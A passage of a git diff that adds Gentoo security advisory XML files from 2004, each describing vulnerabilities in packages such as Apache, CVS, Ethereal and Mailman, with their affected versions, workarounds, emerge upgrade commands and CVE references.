+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0381">CAN-2004-0381</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0388">CAN-2004-0388</uri>
+  </references>
+  <metadata tag="submitter">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-21.xml b/xml/htdocs/security/en/glsa/glsa-200405-21.xml
new file mode 100644
index 00000000..af584984
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-21.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-21">
+  <title>Midnight Commander: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple security issues have been discovered in Midnight Commander
+    including several buffer overflows and string format vulnerabilities.
+  </synopsis>
+  <product type="ebuild">MC</product>
+  <announced>May 26, 2004</announced>
+  <revised>May 26, 2004: 01</revised>
+  <bug>49990</bug>
+  <access>local </access>
+  <affected>
+    <package name="app-misc/mc" auto="yes" arch="*">
+      <unaffected range="ge">4.6.0-r7</unaffected>
+      <vulnerable range="le">4.6.0-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Midnight Commander is a visual console file manager.
+    </p>
+  </background>
+  <description>
+    <p>
+    Numerous security issues have been discovered in Midnight Commander,
+    including several buffer overflow vulnerabilities, multiple vulnerabilities
+    in the handling of temporary file and directory creation, and multiple
+    format string vulnerabilities.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    The buffer overflows and format string vulnerabilites may allow attackers
+    to cause a denial of service or execute arbitrary code with permissions of
+    the user running MC. The insecure creation of temporary files and
+    directories could lead to a privilege escalation, including root
+    privileges, for a local attacker.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to upgrade
+    to version 4.6.0-r7 or higher of Midnight Commander.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Midnight Commander users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-misc/mc-4.6.0-r7
+    # emerge ">=app-misc/mc-4.6.0-r7"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0226">CAN-2004-0226</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0231">CAN-2004-0231</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0232">CAN-2004-0232</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-22.xml b/xml/htdocs/security/en/glsa/glsa-200405-22.xml
new file mode 100644
index 00000000..c2c4beec
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-22.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-22">
+  <title>Apache 1.3: Multiple vulnerabilities</title>
+  <synopsis>
+    Several security vulnerabilites have been fixed in the latest release of
+    Apache 1.3.
+  </synopsis>
+  <product type="ebuild">Apache</product>
+  <announced>May 26, 2004</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>51815</bug>
+  <access>remote </access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">1.3.31</unaffected>
+      <vulnerable range="lt">1.3.31</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP Server Project is an effort to develop and maintain an
+    open-source HTTP server for modern operating systems. The goal of this
+    project is to provide a secure, efficient and extensible server that
+    provides services in tune with the current HTTP standards.
+    </p>
+  </background>
+  <description>
+    <p>
+    On 64-bit big-endian platforms, mod_access does not properly parse
+    Allow/Deny rules using IP addresses without a netmask which could result in
+    failure to match certain IP addresses.
+    </p>
+    <p>
+    Terminal escape sequences are not filtered from error logs. This could be
+    used by an attacker to insert escape sequences into a terminal emulater
+    vulnerable to escape sequences.
+    </p>
+    <p>
+    mod_digest does not properly verify the nonce of a client response by using
+    a AuthNonce secret. This could permit an attacker to replay the response of
+    another website. This does not affect mod_auth_digest.
+    </p>
+    <p>
+    On certain platforms there is a starvation issue where listening sockets
+    fails to handle short-lived connection on a rarely-accessed listening
+    socket. This causes the child to hold the accept mutex and block out new
+    connections until another connection arrives on the same rarely-accessed
+    listening socket thus leading to a denial of service.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilities could lead to attackers bypassing intended access
+    restrictions, denial of service, and possibly execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest stable version of Apache 1.3.
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=www-servers/apache-1.3.31"
+    # emerge ">=www-servers/apache-1.3.31"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0993">CAN-2003-0993</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0020">CAN-2003-0020</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0987">CAN-2003-0987</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0174">CAN-2004-0174</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-23.xml b/xml/htdocs/security/en/glsa/glsa-200405-23.xml
new file mode 100644
index 00000000..a2fe3d71
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-23.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-23">
+  <title>Heimdal: Kerberos 4 buffer overflow in kadmin</title>
+  <synopsis>
+    A possible buffer overflow in the Kerberos 4 component of Heimdal has been
+    discovered.
+  </synopsis>
+  <product type="ebuild">Heimdal</product>
+  <announced>May 27, 2004</announced>
+  <revised>May 27, 2004: 01</revised>
+  <bug>50208</bug>
+  <access>remote </access>
+  <affected>
+    <package name="app-crypt/heimdal" auto="yes" arch="*">
+      <unaffected range="ge">0.6.2</unaffected>
+      <vulnerable range="lt">0.6.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Heimdal is a free implementation of Kerberos.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow was discovered in kadmind, a server for administrative
+    access to the Kerberos database.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending a specially formatted message to kadmind, a remote attacker may
+    be able to crash kadmind causing a denial of service, or execute arbitrary
+    code with the permissions of the kadmind process.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    For a temporary workaround, providing you do not require Kerberos 4
+    support, you may turn off Kerberos 4 kadmin by running kadmind with the
+    --no-kerberos4 option.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Heimdal users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-crypt/heimdal-0.6.2"
+    # emerge ">=app-crypt/heimdal-0.6.2"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.pdc.kth.se/heimdal/advisory/2004-05-06/">Heimdal 0.6.2 Release Notice</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0434">CAN-2004-0434</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-24.xml b/xml/htdocs/security/en/glsa/glsa-200405-24.xml
new file mode 100644
index 00000000..5a3c9afe
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-24.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-24">
+  <title>MPlayer, xine-lib: vulnerabilities in RTSP stream handling</title>
+  <synopsis>
+    Multiple vulnerabilities, including remotely exploitable buffer overflows,
+    have been found in code common to MPlayer and the xine library.
+  </synopsis>
+  <product type="ebuild">mplayer</product>
+  <announced>May 28, 2004</announced>
+  <revised>May 28, 2004: 01</revised>
+  <bug>49387</bug>
+  <access>remote </access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0_pre4</unaffected>
+      <unaffected range="le">0.92-r1</unaffected>
+      <vulnerable range="lt">1.0_pre4</vulnerable>
+    </package>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1_rc4</unaffected>
+      <unaffected range="le">0.9.13-r3</unaffected>
+      <vulnerable range="lt">1_rc4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPlayer is a movie player capable of handling multiple multimedia file
+    formats. xine-lib is a multimedia player library used by several graphical
+    user interfaces, including xine-ui. They both use the same code to handle
+    Real-Time Streaming Protocol (RTSP) streams from RealNetworks servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been found and fixed in the RTSP handling
+    code common to recent versions of these two packages. These vulnerabilities
+    include several remotely exploitable buffer overflows.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker, posing as a RTSP stream server, can execute arbitrary
+    code with the rights of the user of the software playing the stream
+    (MPlayer or any player using xine-lib). Another attacker may entice a user
+    to use a maliciously crafted URL or playlist to achieve the same results.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    For MPlayer, there is no known workaround at this time. For xine-lib, you
+    can delete the xineplug_inp_rtsp.so file.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to non-vulnerable versions of MPlayer and
+    xine-lib:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=media-video/mplayer-1.0_pre4"
+    # emerge ">=media-video/mplayer-1.0_pre4"
+
+    # emerge -pv ">=media-libs/xine-lib-1_rc4"
+    # emerge ">=media-libs/xine-lib-1_rc4"</code>
+  </resolution>
+  <references>
+    <uri link="http://xinehq.de/index.php/security/XSA-2004-3">Xine security advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0433">CAN-2004-0433</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200405-25.xml b/xml/htdocs/security/en/glsa/glsa-200405-25.xml
new file mode 100644
index 00000000..f951ba78
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200405-25.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200405-25">
+  <title>tla: Multiple vulnerabilities in included libneon</title>
+  <synopsis>
+    tla includes a vulnerable version of the neon library.
+  </synopsis>
+  <product type="ebuild">tla</product>
+  <announced>May 30, 2004</announced>
+  <revised>June 02, 2004: 02</revised>
+  <bug>51586</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/tla" auto="yes" arch="*">
+      <unaffected range="ge">1.2-r2</unaffected>
+      <vulnerable range="le">1.2-r1</vulnerable>
+      <vulnerable range="eq">1.2.1_pre1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNU Arch (tla) is a revision control system suited for widely distributed
+    development.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple format string vulnerabilities and a heap overflow vulnerability
+    were discovered in the code of the neon library (GLSA 200405-01 and
+    200405-13). Current versions of the tla package include their own version
+    of this library.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    When connected to a malicious WebDAV server, these vulnerabilities could
+    allow execution of arbitrary code with the rights of the user running tla.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of tla should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=dev-util/tla-1.2-r2"
+    # emerge ">=dev-util/tla-1.2-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200405-01.xml">GLSA 200405-01</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200405-13.xml">GLSA 200405-13</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-01.xml b/xml/htdocs/security/en/glsa/glsa-200406-01.xml
new file mode 100644
index 00000000..3ca995c4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-01.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-01">
+  <title>Ethereal: Multiple security problems</title>
+  <synopsis>
+    Multiple vulnerabilities including one buffer overflow exist in Ethereal,
+    which may allow an attacker to run arbitrary code or crash the program.
+  </synopsis>
+  <product type="ebuild">Ethereal</product>
+  <announced>June 04, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>51022</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/ethereal" auto="yes" arch="*">
+      <unaffected range="ge">0.10.4</unaffected>
+      <vulnerable range="le">0.10.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ethereal is a feature rich network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are multiple vulnerabilities in versions of Ethereal earlier than
+    0.10.4, including:
+    </p>
+    <ul>
+    <li>A buffer overflow in the MMSE dissector.</li>
+    <li>Under specific conditions a SIP packet could make Ethereal
+    crash.</li>
+    <li>The AIM dissector could throw an assertion, causing Ethereal to
+    crash.</li>
+    <li>The SPNEGO dissector could dereference a null pointer, causing a
+    crash.</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could use these vulnerabilities to crash Ethereal or even
+    execute arbitrary code with the permissions of the user running
+    Ethereal, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    For a temporary workaround you can disable all affected protocol
+    dissectors by selecting Analyze->Enabled Protocols... and deselecting
+    them from the list. However, it is strongly recommended to upgrade to
+    the latest stable release.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ethereal users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-analyzer/ethereal-0.10.4&quot;
+    # emerge &quot;&gt;=net-analyzer/ethereal-0.10.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.ethereal.com/appnotes/enpa-sa-00014.html">Ethereal enpa-sa-00014</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0504">CVE-2004-0504</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0505">CVE-2004-0505</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0506">CVE-2004-0506</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0507">CVE-2004-0507</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-02.xml b/xml/htdocs/security/en/glsa/glsa-200406-02.xml
new file mode 100644
index 00000000..5286aa39
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-02.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-02">
+  <title>tripwire: Format string vulnerability</title>
+  <synopsis>
+    A vulnerability allowing arbitrary code execution under certain
+    circumstances has been found.
+  </synopsis>
+  <product type="ebuild">tripwire</product>
+  <announced>June 04, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>52945</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-admin/tripwire" auto="yes" arch="*">
+      <unaffected range="ge">2.3.1.2-r1</unaffected>
+      <vulnerable range="le">2.3.1.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    tripwire is an open source file integrity checker.
+    </p>
+  </background>
+  <description>
+    <p>
+    The code that generates email reports contains a format string
+    vulnerability in pipedmailmessage.cpp.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    With a carefully crafted filename on a local filesystem an attacker
+    could cause execution of arbitrary code with permissions of the user
+    running tripwire, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All tripwire users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-admin/tripwire-2.3.1.2-r1&quot;
+    # emerge &quot;&gt;=app-admin/tripwire-2.3.1.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/365036/2004-05-31/2004-06-06/0">Bugtraq Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0536">CVE-2004-0536</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-03.xml b/xml/htdocs/security/en/glsa/glsa-200406-03.xml
new file mode 100644
index 00000000..5830b11f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-03.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-03">
+  <title>sitecopy: Multiple vulnerabilities in included libneon</title>
+  <synopsis>
+    sitecopy includes a vulnerable version of the neon library.
+  </synopsis>
+  <product type="ebuild">sitecopy</product>
+  <announced>June 05, 2004</announced>
+  <revised>August 15, 2004: 04</revised>
+  <bug>51585</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/sitecopy" auto="yes" arch="*">
+      <unaffected range="ge">0.13.4-r2</unaffected>
+      <vulnerable range="le">0.13.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    sitecopy easily maintains remote websites. It makes it simple to keep a
+    remote site synchronized with the local site with one command.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple format string vulnerabilities and a heap overflow vulnerability
+    were discovered in the code of the neon library (GLSA 200405-01 and
+    200405-13). Current versions of the sitecopy package include their own
+    version of this library.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    When connected to a malicious WebDAV server, these vulnerabilities could
+    allow execution of arbitrary code with the rights of the user running
+    sitecopy.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of sitecopy.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All sitecopy users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-misc/sitecopy-0.13.4-r2"
+    # emerge ">=net-misc/sitecopy-0.13.4-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200405-01.xml">GLSA 200405-01</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200405-13.xml">GLSA 200405-13</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-04.xml b/xml/htdocs/security/en/glsa/glsa-200406-04.xml
new file mode 100644
index 00000000..361bcf22
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-04.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-04">
+  <title>Mailman: Member password disclosure vulnerability</title>
+  <synopsis>
+    Mailman contains a bug allowing 3rd parties to retrieve member passwords.
+  </synopsis>
+  <product type="ebuild">mailman</product>
+  <announced>June 09, 2004</announced>
+  <revised>June 09, 2004: 01</revised>
+  <bug>51671</bug>
+  <access>remote  </access>
+  <affected>
+    <package name="net-mail/mailman" auto="yes" arch="*">
+      <unaffected range="ge">2.1.5</unaffected>
+      <vulnerable range="lt">2.1.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mailman is a python-based mailing list server with an extensive web
+    interface.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mailman contains an unspecified vulnerability in the handling of request
+    emails.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a carefully crafted email request to the mailman server an
+    attacker could obtain member passwords.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users of Mailman should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-mail/mailman-2.1.5"
+    # emerge ">=net-mail/mailman-2.1.5"</code>
+  </resolution>
+  <references>
+    <uri link="http://mail.python.org/pipermail/mailman-announce/2004-May/000072.html">Mailman 2.1.5 Release Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0412">CAN-2004-0412</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-05.xml b/xml/htdocs/security/en/glsa/glsa-200406-05.xml
new file mode 100644
index 00000000..2264a933
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-05.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-05">
+  <title>Apache: Buffer overflow in mod_ssl</title>
+  <synopsis>
+    A bug in mod_ssl may allow a remote attacker to execute remote code when
+    Apache is configured a certain way.
+  </synopsis>
+  <product type="ebuild">Apache</product>
+  <announced>June 09, 2004</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>51368</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-www/mod_ssl" auto="yes" arch="*">
+      <unaffected range="ge">2.8.18</unaffected>
+      <vulnerable range="lt">2.8.18</vulnerable>
+    </package>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="lt">2.0</unaffected>
+      <unaffected range="ge">2.0.49-r3</unaffected>
+      <vulnerable range="le">2.0.49-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Apache is the most popular Web server on the Internet. mod_ssl provides
+    Secure Sockets Layer encryption and authentication to Apache 1.3. Apache 2
+    contains the functionality of mod_ssl.
+    </p>
+  </background>
+  <description>
+    <p>
+    A bug in the function ssl_util_uuencode_binary in ssl_util.c may lead to a
+    remote buffer overflow on a server configured to use FakeBasicAuth that
+    will trust a client certificate with an issuing CA with a subject DN longer
+    than 6k.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Given the right server configuration, an attacker could cause a Denial of
+    Service or execute code as the user running Apache, usually
+    &quot;apache&quot;. It is thought to be impossible to exploit this to
+    execute code on the x86 platform, but the possibility for other platforms
+    is unknown. This does not preclude a DoS on x86 systems.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    A server should not be vulnerable if it is not configured to use
+    FakeBasicAuth and to trust a client CA with a long subject DN.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Apache 1.x users should upgrade to the latest version of mod_ssl:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-www/mod_ssl-2.8.18"
+    # emerge ">=net-www/mod_ssl-2.8.18"</code>
+    <p>
+    Apache 2.x users should upgrade to the latest version of Apache:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=www-servers/apache-2.0.49-r3"
+    # emerge ">=www-servers/apache-2.0.49-r3"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0488">CAN-2004-0488</uri>
+  </references>
+  <metadata tag="submitter">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-06.xml b/xml/htdocs/security/en/glsa/glsa-200406-06.xml
new file mode 100644
index 00000000..277cea6e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-06.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-06">
+  <title>CVS: additional DoS and arbitrary code execution vulnerabilities</title>
+  <synopsis>
+    Several serious new vulnerabilities have been found in CVS, which may allow
+    an attacker to remotely compromise a CVS server.
+  </synopsis>
+  <product type="ebuild">CVS</product>
+  <announced>June 10, 2004</announced>
+  <revised>June 10, 2004: 01</revised>
+  <bug>53408</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/cvs" auto="yes" arch="*">
+      <unaffected range="ge">1.11.17</unaffected>
+      <vulnerable range="le">1.11.16-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CVS (Concurrent Versions System) is an open-source network-transparent
+    version control system. It contains both a client utility and a server.
+    </p>
+  </background>
+  <description>
+    <p>
+    A team audit of the CVS source code performed by Stefan Esser and Sebastian
+    Krahmer resulted in the discovery of several remotely exploitable
+    vulnerabilities including:
+    </p>
+    <ul>
+    <li>no-null-termination of &quot;Entry&quot; lines</li>
+    <li>error_prog_name &quot;double-free()&quot;</li>
+    <li>Argument integer overflow</li>
+    <li>serve_notify() out of bounds writes</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could use these vulnerabilities to cause a Denial of Service or
+    execute arbitrary code with the permissions of the user running cvs.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are advised to upgrade
+    to the latest available version of CVS.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CVS users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=dev-util/cvs-1.11.17"
+    # emerge ">=dev-util/cvs-1.11.17"</code>
+  </resolution>
+  <references>
+    <uri link="http://security.e-matters.de/advisories/092004.html">E-matters Advisory 09/2004</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0414">CAN-2004-0414</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0416">CAN-2004-0416</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0417">CAN-2004-0417</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0418">CAN-2004-0418</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-07.xml b/xml/htdocs/security/en/glsa/glsa-200406-07.xml
new file mode 100644
index 00000000..de8fc117
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-07.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-07">
+  <title>Subversion: Remote heap overflow</title>
+  <synopsis>
+    Subversion is vulnerable to a remote Denial of Service that may be
